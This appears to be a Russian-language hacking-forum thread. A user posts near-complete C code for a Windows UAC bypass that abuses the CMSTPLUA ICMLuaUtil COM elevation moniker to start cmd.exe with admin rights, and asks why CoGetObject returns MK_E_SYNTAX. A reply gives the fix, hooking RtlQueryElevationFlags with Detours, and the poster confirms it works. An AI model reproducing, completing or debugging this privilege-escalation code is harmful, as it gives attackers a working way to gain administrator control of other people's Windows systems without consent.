Доброго времени суток. Есть код который пропускает UAC, в другом проекте все замечательно работает. В моем выходит из цикла из-за ошибки. Ниже код функции: Code: VOID check() { HRESULT r = E_FAIL; BOOL bCond = FALSE; IID xIID_ICMLuaUtil; CLSID xCLSID_ICMLuaUtil; ICMLuaUtil *CMLuaUtil = NULL; BIND_OPTS3 bop; WCHAR szElevationMoniker[MAX_PATH]; do { if (CLSIDFromString(T_CLSID_CMSTPLUA, &xCLSID_ICMLuaUtil) != NOERROR) { break; } if (IIDFromString(T_IID_ICMLuaUtil, &xIID_ICMLuaUtil) != S_OK) { break; } RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker)); strcpy_w(szElevationMoniker, L"Elevation:Administrator!new:"); strcat_w(szElevationMoniker, T_CLSID_CMSTPLUA); RtlSecureZeroMemory(&bop, sizeof(bop)); bop.cbStruct = sizeof(bop); bop.dwClassContext = CLSCTX_LOCAL_SERVER; r = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_ICMLuaUtil, &CMLuaUtil); if (r == MK_E_SYNTAX) { printf("MK_E_SYNTAX\n"); } if (r != S_OK) { printf("wft"); break; } r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, L"C:\\windows\\system32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW); } while (bCond); if (CMLuaUtil != NULL) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } } Выходит из цикла, так как r == MK_E_SYNTAX, после выполнения CoGetObject. Бьюсь вторые сутки не могу понять из-за чего. MK_E_SYNTAX по msdn указывает на (Параметр pszName не является правильно сформированным отображаемым именем.) Судя по example из google все должно работать, но увы. В исходном варианте все работает без проблем и при смене аргументов. Если нужно будет приложу header файл. Заранее спасибо.
перехватываешь функцию rtlqueryelevationflag. конец) про перехват надйи в гугле, если пишешь на си в студии то детурс тебе отлично подойдет, перехват можно написать в 3 строчки.
я уже понял про что вы говорите, или догадываюсь о том, что понял и да все замечательно работает. Спасибо за ответы)